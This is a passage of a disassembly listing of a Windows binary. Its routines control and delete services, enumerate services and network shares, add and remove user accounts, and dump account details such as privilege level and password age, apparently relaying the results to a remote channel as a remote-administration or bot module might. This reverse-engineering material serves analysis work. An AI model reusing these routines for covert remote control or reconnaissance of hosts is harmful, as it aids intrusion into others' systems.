push offset unk_44FF6C
jmp short loc_4195C6
; ---------------------------------------------------------------------------
loc_4195E6: ; CODE XREF: sub_41958E+Cj
lea eax, [eax+eax*2]
mov esi, offset byte_4F325C
push off_44FE88[eax*4]
push offset asc_44FF98 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_419603: ; CODE XREF: sub_41958E+46j
mov eax, esi
pop edi
pop esi
retn
sub_41958E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419608 proc near ; CODE XREF: sub_41958E+20p
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ebx
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
call dword_4E30EC ; OpenSCManagerA
mov edi, eax
cmp edi, ebx
jnz short loc_41962F
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_4196A4
; ---------------------------------------------------------------------------
loc_41962F: ; CODE XREF: sub_419608+1Bj
push esi
push 0F01FFh
push [ebp+arg_4]
push edi
call dword_4E2FD4 ; OpenServiceA
mov esi, eax
cmp esi, ebx
jnz short loc_41964F
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
jmp short loc_41969C
; ---------------------------------------------------------------------------
loc_41964F: ; CODE XREF: sub_419608+3Bj
mov eax, [ebp+arg_0]
cmp eax, 1
jz short loc_419682
cmp eax, 3
jz short loc_419673
jle short loc_419695
cmp eax, 6
jg short loc_419695
lea eax, [ebp+var_1C]
push eax
push [ebp+arg_8]
push esi
call dword_4E3040 ; ControlService
jmp short loc_419689
; ---------------------------------------------------------------------------
loc_419673: ; CODE XREF: sub_419608+52j
push [ebp+arg_10]
push [ebp+arg_C]
push esi
call dword_4E2FDC ; StartServiceA
jmp short loc_419689
; ---------------------------------------------------------------------------
loc_419682: ; CODE XREF: sub_419608+4Dj
push esi
call dword_4E3044 ; DeleteService
loc_419689: ; CODE XREF: sub_419608+69j
; sub_419608+78j
test eax, eax
jnz short loc_419695
call ds:dword_4F5360 ; RtlGetLastWin32Error
mov ebx, eax
loc_419695: ; CODE XREF: sub_419608+54j
; sub_419608+59j ...
push esi
call dword_4E2FF0 ; CloseServiceHandle
loc_41969C: ; CODE XREF: sub_419608+45j
push edi
call dword_4E2FF0 ; CloseServiceHandle
pop esi
loc_4196A4: ; CODE XREF: sub_419608+25j
mov eax, ebx
pop edi
pop ebx
leave
retn
sub_419608 endp
; =============== S U B R O U T I N E =======================================
sub_4196AA proc near ; CODE XREF: sub_41958E+49p
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
mov ecx, 420h
cmp eax, ecx
ja loc_41975F
jz loc_419758
add ecx, 0FFFFFFFBh
cmp eax, ecx
ja short loc_419722
jz short loc_419718
mov ecx, eax
sub ecx, 3
jz short loc_41970E
dec ecx
dec ecx
jz short loc_419704
dec ecx
jz short loc_4196FA
sub ecx, 51h
jz short loc_4196F0
sub ecx, 24h
jnz loc_4197D5 ; default
; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
push offset aTheSpecifiedSe ; "The specified service name is invalid."
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_4196F0: ; CODE XREF: sub_4196AA+31j
push offset aTheRequestedCo ; "The requested control code is undefined"...
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_4196FA: ; CODE XREF: sub_4196AA+2Cj
push offset aTheHandleIsInv ; "The handle is invalid."
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_419704: ; CODE XREF: sub_4196AA+29j
push offset aTheHandleDoesN ; "The handle does not have the required a"...
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_41970E: ; CODE XREF: sub_4196AA+25j
push offset aTheServiceBina ; "The service binary file could not be fo"...
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_419718: ; CODE XREF: sub_4196AA+1Ej
push offset aTheServiceCann ; "The service cannot be stopped because o"...
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_419722: ; CODE XREF: sub_4196AA+1Cj
mov ecx, eax
sub ecx, 41Ch
jz short loc_419751
dec ecx
jz short loc_41974A
dec ecx
jz short loc_419743
dec ecx
jnz loc_4197D5 ; default
; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
push offset aTheDatabaseIsL ; "The database is locked."
jmp loc_4197C7
; ---------------------------------------------------------------------------
loc_419743: ; CODE XREF: sub_4196AA+86j
push offset aAThreadCouldNo ; "A thread could not be created for the s"...
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_41974A: ; CODE XREF: sub_4196AA+83j
push offset aTheProcessForT ; "The process for the service was started"...
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_419751: ; CODE XREF: sub_4196AA+80j
push offset aTheRequested_0 ; "The requested control code is not valid"...
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_419758: ; CODE XREF: sub_4196AA+11j
push offset aAnInstanceOfTh ; "An instance of the service is already r"...
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_41975F: ; CODE XREF: sub_4196AA+Bj
mov ecx, 45Bh
cmp eax, ecx
ja short loc_4197D5 ; default
; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
jz short loc_4197C2
lea ecx, [eax-422h]
cmp ecx, 11h ; switch 18 cases
ja short loc_4197D5 ; default
; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
movzx ecx, ds:byte_419816[ecx]
jmp ds:off_4197EE[ecx*4] ; switch jump
loc_419783: ; DATA XREF: .text:off_4197EEo
push offset aTheSpecifiedDa ; jumptable 0041977C case 7
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_41978A: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceDepe ; jumptable 0041977C case 17
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_419791: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceDe_0 ; jumptable 0041977C case 10
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_419798: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceHasB ; jumptable 0041977C case 0
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_41979F: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheSpecified_0 ; jumptable 0041977C case 2
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197A6: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceCoul ; jumptable 0041977C case 11
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197AD: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceHa_0 ; jumptable 0041977C case 14
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197B4: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheRequested_1 ; jumptable 0041977C case 3
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197BB: ; CODE XREF: sub_4196AA+D2j
; DATA XREF: .text:off_4197EEo
push offset aTheServiceHasN ; jumptable 0041977C case 4
jmp short loc_4197C7
; ---------------------------------------------------------------------------
loc_4197C2: ; CODE XREF: sub_4196AA+BEj
push offset aTheSystemIsShu ; "The system is shutting down."
loc_4197C7: ; CODE XREF: sub_4196AA+41j
; sub_4196AA+4Bj ...
push offset byte_4F2B9C ; Dest
call _sprintf
pop ecx
pop ecx
jmp short loc_4197E8
; ---------------------------------------------------------------------------
loc_4197D5: ; CODE XREF: sub_4196AA+36j
; sub_4196AA+89j ...
push eax ; default
; jumptable 0041977C cases 1,5,6,8,9,12,13,15,16
push offset aAnUnknownError ; "An unknown error occurred: <%ld>"
push offset byte_4F2B9C ; Dest
call _sprintf
add esp, 0Ch
loc_4197E8: ; CODE XREF: sub_4196AA+129j
mov eax, offset byte_4F2B9C
retn
sub_4196AA endp
; ---------------------------------------------------------------------------
off_4197EE dd offset loc_419798 ; DATA XREF: sub_4196AA+D2r
dd offset loc_41979F ; jump table for switch statement
dd offset loc_4197B4
dd offset loc_4197BB
dd offset loc_419783
dd offset loc_419791
dd offset loc_4197A6
dd offset loc_4197AD
dd offset loc_41978A
dd offset loc_4197D5
byte_419816 db 0, 9, 1, 2 ; DATA XREF: sub_4196AA+CBr
db 3, 9, 9, 4 ; indirect table for switch statement
db 9, 9, 5, 6
db 9, 9, 7, 9
db 9, 8
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419828(int,char *Str,int)
sub_419828 proc near ; CODE XREF: sub_401CC7+45D8p
var_38C = dword ptr -38Ch
var_18C = byte ptr -18Ch
var_188 = byte ptr -188h
var_24 = byte ptr -24h
Dest = byte ptr -20h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 38Ch
push ebx
push esi
push edi
xor ebx, ebx
push 0F003Fh
push ebx
push ebx
mov [ebp+var_8], ebx
call dword_4E30EC ; OpenSCManagerA
push ebx ; int
mov [ebp+var_C], eax
push [ebp+arg_8] ; int
push offset aTheFollowingWi ; "The following Windows services are regi"...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 14h
loc_419860: ; CODE XREF: sub_419828+120j
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_24]
push eax
lea eax, [ebp+var_18C]
push 168h
push eax
push 3
push 30h
push [ebp+var_C]
call dword_4E30B8 ; EnumServicesStatusA
test eax, eax
jnz short loc_41989A
call ds:dword_4F5360 ; RtlGetLastWin32Error
cmp eax, 0EAh
jnz loc_41994E
loc_41989A: ; CODE XREF: sub_419828+5Fj
xor edi, edi
cmp [ebp+var_4], ebx
jle loc_419945
lea esi, [ebp+var_188]
loc_4198AB: ; CODE XREF: sub_419828+117j
mov eax, [esi+8]
dec eax
jz short loc_4198F4
dec eax
jz short loc_4198ED
dec eax
jz short loc_4198E6
dec eax
jz short loc_4198DF
dec eax
jz short loc_4198D8
dec eax
jz short loc_4198D1
dec eax
jz short loc_4198CA
push offset aUnknown_0 ; " Unknown"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198CA: ; CODE XREF: sub_419828+99j
push offset aPaused ; " Paused"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198D1: ; CODE XREF: sub_419828+96j
push offset aPausing ; " Pausing"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198D8: ; CODE XREF: sub_419828+93j
push offset aContinuing ; " Continuing"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198DF: ; CODE XREF: sub_419828+90j
push offset aRunning ; " Running"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198E6: ; CODE XREF: sub_419828+8Dj
push offset aStoping ; " Stoping"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198ED: ; CODE XREF: sub_419828+8Aj
push offset aStarting ; " Starting"
jmp short loc_4198F9
; ---------------------------------------------------------------------------
loc_4198F4: ; CODE XREF: sub_419828+87j
push offset aStopped ; " Stopped"
loc_4198F9: ; CODE XREF: sub_419828+A0j
; sub_419828+A7j ...
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
pop ecx
lea eax, [ebp+Dest]
pop ecx
push dword ptr [esi]
push dword ptr [esi-4]
push eax
lea eax, [ebp+var_38C]
push offset aSSS_2 ; "%s: %s (%s)"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+var_38C]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 28h
inc edi
add esi, 24h
cmp edi, [ebp+var_4]
jl loc_4198AB
loc_419945: ; CODE XREF: sub_419828+77j
cmp [ebp+var_8], ebx
jnz loc_419860
loc_41994E: ; CODE XREF: sub_419828+6Cj
push [ebp+var_C]
call dword_4E2FF0 ; CloseServiceHandle
xor eax, eax
pop edi
cmp eax, [ebp+var_4]
pop esi
pop ebx
sbb eax, eax
neg eax
leave
retn
sub_419828 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419965(int,char *Str,int)
sub_419965 proc near ; CODE XREF: sub_401CC7+46C3p
; sub_401CC7+46DFp
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
push esi
push edi
mov edi, [ebp+Str]
test edi, edi
jz loc_4199FF
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, 0
jz short loc_41998E
dec eax
jnz short loc_4199DF
push edi
push 0
call sub_419B38
pop ecx
pop ecx
jmp short loc_4199DB
; ---------------------------------------------------------------------------
loc_41998E: ; CODE XREF: sub_419965+18j
cmp [ebp+arg_8], 0
jnz short loc_4199CD
push 24h ; Val
push edi ; Str
call _strchr
pop ecx
test eax, eax
pop ecx
jnz short loc_4199CD
push 57h
pop eax
loc_4199A5: ; CODE XREF: sub_419965+78j
push eax
call sub_41A32C
pop ecx
push eax
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4F2E58
push off_44FE88[eax*4]
push offset asc_450510 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_419A1F
; ---------------------------------------------------------------------------
loc_4199CD: ; CODE XREF: sub_419965+2Dj
; sub_419965+3Bj
push [ebp+arg_8] ; int
push edi ; Str
push 0 ; int
call sub_419A8C
add esp, 0Ch
loc_4199DB: ; CODE XREF: sub_419965+27j
test eax, eax
jnz short loc_4199A5
loc_4199DF: ; CODE XREF: sub_419965+1Bj
lea eax, [esi+esi*2]
push edi
mov esi, offset byte_4F2E58
push off_44FE8C[eax*4]
push offset asc_4504F4 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_419A1F
; ---------------------------------------------------------------------------
loc_4199FF: ; CODE XREF: sub_419965+Aj
mov eax, [ebp+arg_0]
mov esi, offset byte_4F2E58
lea eax, [eax+eax*2]
push off_44FE88[eax*4]
push offset asc_45053C ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_419A1F: ; CODE XREF: sub_419965+66j
; sub_419965+98j
mov eax, esi
pop edi
pop esi
pop ebp
retn
sub_419965 endp
; =============== S U B R O U T I N E =======================================
sub_419A25 proc near ; CODE XREF: sub_41AD5D+245p
arg_0 = dword ptr 4
arg_C = dword ptr 10h
push esi
xor esi, esi
cmp [esp+4+arg_0], esi
jnz short loc_419A32
xor eax, eax
pop esi
retn
; ---------------------------------------------------------------------------
loc_419A32: ; CODE XREF: sub_419A25+7j
push ebx
push ebp
push edi
push esi
push esi
push esi
mov edi, ds:dword_4F5450
push esi
push 0FFFFFFFFh
mov ebx, 400h
push [esp+24h+arg_0]
push ebx
push esi
call edi ; WideCharToMultiByte
test byte_4F3058, 1
mov ebp, eax
jnz short loc_419A6F
or byte_4F3058, 1
lea eax, [ebp+1]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov dword_4F2DF8, eax
loc_419A6F: ; CODE XREF: sub_419A25+32j
push esi
push esi
push ebp
push dword_4F2DF8
push 0FFFFFFFFh
push [esp+18h+arg_C]
push ebx
push esi
call edi ; WideCharToMultiByte
mov eax, dword_4F2DF8
pop edi
pop ebp
pop ebx
pop esi
retn
sub_419A25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419A8C(int,char *Str,int)
sub_419A8C proc near ; CODE XREF: sub_419965+6Ep
; sub_41B081+184p ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 20h
push edi
push [ebp+arg_0]
call sub_419AF7
push [ebp+Str]
mov edi, eax
call sub_419AF7
push 24h ; Val
mov [ebp+var_20], eax
push [ebp+Str] ; Str
call _strchr
push [ebp+arg_8]
mov [ebp+var_14], 7Fh
neg eax
sbb eax, eax
and [ebp+var_18], 0
or [ebp+var_10], 0FFFFFFFFh
and [ebp+var_C], 0
and eax, 80000000h
mov [ebp+var_1C], eax
call sub_419AF7
add esp, 14h
mov [ebp+var_8], eax
and [ebp+var_4], 0
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_20]
push eax
push 2
push edi
call dword_4E2FEC
pop edi
leave
retn
sub_419A8C endp
; =============== S U B R O U T I N E =======================================
sub_419AF7 proc near ; CODE XREF: sub_419A8C+Ap
; sub_419A8C+14p ...
arg_0 = dword ptr 4
push ebp
mov ebp, [esp+4+arg_0]
xor eax, eax
cmp ebp, eax
jnz short loc_419B04
pop ebp
retn
; ---------------------------------------------------------------------------
loc_419B04: ; CODE XREF: sub_419AF7+9j
push ebx
push esi
mov esi, ds:dword_4F5454
push edi
push eax
push eax
push 0FFFFFFFFh
push ebp
push 1
push eax
call esi ; MultiByteToWideChar
mov edi, eax
lea eax, [edi+edi+2]
push eax ; unsigned int
call ??2@YAPAXI@Z ; operator new(uint)
pop ecx
mov ebx, eax
push edi
push ebx
push 0FFFFFFFFh
push ebp
push 1
push 0
call esi ; MultiByteToWideChar
pop edi
mov eax, ebx
pop esi
pop ebx
pop ebp
retn
sub_419AF7 endp
; =============== S U B R O U T I N E =======================================
sub_419B38 proc near ; CODE XREF: sub_419965+20p
; sub_41AD5D+1BBp ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419AF7
push [esp+8+arg_4]
mov esi, eax
call sub_419AF7
pop ecx
pop ecx
push 0
push eax
push esi
call dword_4E2FC4
pop esi
retn
sub_419B38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419B5B(int,char *Str,int,int)
sub_419B5B proc near ; CODE XREF: sub_401CC7+46FFp
Dest = byte ptr -210h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
sub esp, 210h
push ebx
push esi
push edi
push [ebp+arg_C]
call sub_419AF7
xor esi, esi
mov [ebp+var_C], eax
push esi ; int
mov [ebp+arg_C], esi
push [ebp+arg_8] ; int
mov [ebp+var_8], esi
mov [ebp+var_10], esi
push offset aShareNameResou ; "Share name: Resource: "...
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 18h
loc_419B94: ; CODE XREF: sub_419B5B+10Fj
lea eax, [ebp+var_10]
push eax
lea eax, [ebp+var_8]
push eax
lea eax, [ebp+arg_C]
push eax
lea eax, [ebp+var_4]
push 0FFFFFFFFh
push eax
push 1F6h
push [ebp+var_C]
call dword_4E303C
mov ebx, eax
cmp ebx, esi
jz short loc_419BF7
cmp ebx, 0EAh
jz short loc_419BF7
push ebx
push ebx
call sub_41A32C
pop ecx
push eax
lea eax, [ebp+Dest]
push offset asc_4505B8 ; "-"
push eax ; Dest
call _sprintf
push esi ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 24h
jmp short loc_419C64
; ---------------------------------------------------------------------------
loc_419BF7: ; CODE XREF: sub_419B5B+5Dj
; sub_419B5B+65j
push 1
pop edi
cmp [ebp+arg_C], edi
jb short loc_419C5B
mov eax, [ebp+var_4]
lea esi, [eax+14h]
loc_419C05: ; CODE XREF: sub_419B5B+FCj
push dword ptr [esi+10h]
call dword_4E2FE0 ; IsValidSecurityDescriptor
test eax, eax
mov eax, offset aYes ; "Yes"
jnz short loc_419C1C
mov eax, offset aNo ; "No"
loc_419C1C: ; CODE XREF: sub_419B5B+BAj
push eax
lea eax, [ebp+Dest]
push dword ptr [esi]
push dword ptr [esi+4]
push dword ptr [esi-14h]
push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push [ebp+arg_8] ; int
push eax ; int
push [ebp+Str] ; Str
push [ebp+arg_0] ; int
call sub_409D34
add esp, 2Ch
add esi, 28h
inc edi
cmp edi, [ebp+arg_C]
jbe short loc_419C05
xor esi, esi
loc_419C5B: ; CODE XREF: sub_419B5B+A2j
push [ebp+var_4]
call dword_4E3188
loc_419C64: ; CODE XREF: sub_419B5B+9Aj
cmp ebx, 0EAh
jz loc_419B94
xor eax, eax
cmp ebx, esi
pop edi
pop esi
setz al
pop ebx
leave
retn
sub_419B5B endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419C7C proc near ; CODE XREF: sub_401CC7+4752p
; sub_401CC7+477Fp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
Str = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
cmp ebx, edi
jz loc_419D21
mov esi, [ebp+arg_0]
mov eax, esi
sub eax, edi
jz short loc_419CBE
dec eax
jz short loc_419CB3
dec eax
jnz short loc_419CD9
push [ebp+arg_14] ; int
push [ebp+Str] ; Str
push [ebp+arg_C] ; int
push ebx ; int
push edi ; int
call sub_419DC3
add esp, 14h
jmp short loc_419CD5
; ---------------------------------------------------------------------------
loc_419CB3: ; CODE XREF: sub_419C7C+1Dj
push ebx
push edi
call sub_419DA2
pop ecx
pop ecx
jmp short loc_419CD5
; ---------------------------------------------------------------------------
loc_419CBE: ; CODE XREF: sub_419C7C+1Aj
cmp [ebp+arg_8], edi
jz short loc_419CD2
push [ebp+arg_8]
push ebx
push edi
call sub_419D48
add esp, 0Ch
jmp short loc_419CD5
; ---------------------------------------------------------------------------
loc_419CD2: ; CODE XREF: sub_419C7C+45j
push 57h
pop eax
loc_419CD5: ; CODE XREF: sub_419C7C+35j
; sub_419C7C+40j ...
cmp eax, edi
jnz short loc_419CF9
loc_419CD9: ; CODE XREF: sub_419C7C+20j
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4F305C
push off_44FE8C[eax*4]
push offset asc_4505E0 ; "-"
push esi ; Dest
call _sprintf
add esp, 10h
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419CF9: ; CODE XREF: sub_419C7C+5Bj
push eax
call sub_41A32C
pop ecx
push eax
lea eax, [esi+esi*2]
push ebx
mov esi, offset byte_4F305C
push off_44FE88[eax*4]
push offset asc_450600 ; "-"
push esi ; Dest
call _sprintf
add esp, 14h
jmp short loc_419D41
; ---------------------------------------------------------------------------
loc_419D21: ; CODE XREF: sub_419C7C+Dj
mov eax, [ebp+arg_0]
mov esi, offset byte_4F305C
lea eax, [eax+eax*2]
push off_44FE88[eax*4]
push offset asc_450630 ; "-"
push esi ; Dest
call _sprintf
add esp, 0Ch
loc_419D41: ; CODE XREF: sub_419C7C+7Bj
; sub_419C7C+A3j
mov eax, esi
pop edi
pop esi
pop ebx
pop ebp
retn
sub_419C7C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_419D48 proc near ; CODE XREF: sub_419C7C+4Cp
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 24h
and [ebp+var_4], 0
push edi
push [ebp+arg_0]
call sub_419AF7
push [ebp+arg_4]
mov edi, eax
call sub_419AF7
push [ebp+arg_8]
mov [ebp+var_24], eax
call sub_419AF7
add esp, 0Ch
mov [ebp+var_20], eax
and [ebp+var_14], 0
and [ebp+var_10], 0
push 1
and [ebp+var_8], 0
pop eax
lea ecx, [ebp+var_4]
push ecx
lea ecx, [ebp+var_24]
push ecx
push eax
push edi
mov [ebp+var_18], eax
mov [ebp+var_C], 10001h
call dword_4E2FD0
pop edi
leave
retn
sub_419D48 endp
; =============== S U B R O U T I N E =======================================
sub_419DA2 proc near ; CODE XREF: sub_419C7C+39p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push [esp+4+arg_0]
call sub_419AF7
push [esp+8+arg_4]
mov esi, eax
call sub_419AF7
pop ecx
pop ecx
push eax
push esi
call dword_4E2FC0
pop esi
retn
sub_419DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_419DC3(int,int,int,char *Str,int)
sub_419DC3 proc near ; CODE XREF: sub_419C7C+2Dp
Dest = byte ptr -204h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
Str = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
sub esp, 204h
and [ebp+var_4], 0
push esi
push [ebp+arg_0]
call sub_419AF7
push [ebp+arg_4]
mov esi, eax
call sub_419AF7
pop ecx
pop ecx
lea ecx, [ebp+var_4]
push ecx
push 0Bh
push eax
push esi
call dword_4E3150
test eax, eax
mov [ebp+arg_0], eax
jnz loc_41A16B
mov eax, [ebp+var_4]
test eax, eax
jz loc_41A1A6
push ebx
push edi
push dword ptr [eax]
lea eax, [ebp+Dest]
push offset aAccountS ; "Account: %S"
push eax ; Dest
call _sprintf
mov esi, [ebp+arg_10]
mov edi, [ebp+Str]
mov ebx, [ebp+arg_8]
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+0Ch]
lea eax, [ebp+Dest]
push offset aFullNameS ; "Full Name: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+8]
lea eax, [ebp+Dest]
push offset aUserCommentS ; "User Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+4]
lea eax, [ebp+Dest]
push offset aCommentS ; "Comment: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
mov eax, [eax+10h]
sub eax, 0
jz short loc_419EE2
dec eax
jz short loc_419EDB
dec eax
jz short loc_419ED4
mov eax, offset aUnknown_1 ; "Unknown"
jmp short loc_419EE7
; ---------------------------------------------------------------------------
loc_419ED4: ; CODE XREF: sub_419DC3+108j
mov eax, offset aAdministrator ; "Administrator"
jmp short loc_419EE7
; ---------------------------------------------------------------------------
loc_419EDB: ; CODE XREF: sub_419DC3+105j
mov eax, offset aUser_3 ; "User"
jmp short loc_419EE7
; ---------------------------------------------------------------------------
loc_419EE2: ; CODE XREF: sub_419DC3+102j
mov eax, offset aGuest ; "Guest"
loc_419EE7: ; CODE XREF: sub_419DC3+10Fj
; sub_419DC3+116j ...
push eax
lea eax, [ebp+Dest]
push offset aPrivilegeLevel ; "Privilege Level: %s"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+14h]
lea eax, [ebp+Dest]
push offset aAuthFlagsD ; "Auth Flags: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+1Ch]
lea eax, [ebp+Dest]
push offset aHomeDirectoryS ; "Home Directory: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+20h]
lea eax, [ebp+Dest]
push offset aParametersS ; "Parameters: %S"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+18h]
lea eax, [ebp+Dest]
push offset aPasswordAgeD ; "Password Age: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+2Ch]
lea eax, [ebp+Dest]
push offset aBadPasswordCou ; "Bad Password Count: %d"
push eax ; Dest
call _sprintf
push 1 ; int
lea eax, [ebp+Dest]
push esi ; int
push eax ; int
push edi ; Str
push ebx ; int
call sub_409D34
mov eax, [ebp+var_4]
add esp, 20h
push dword ptr [eax+30h]
lea eax, [ebp+Dest]
push offset aNumberOfLogins ; "Number of Logins: %d"
push eax ; Dest
call _sprintf
push 1 ; int
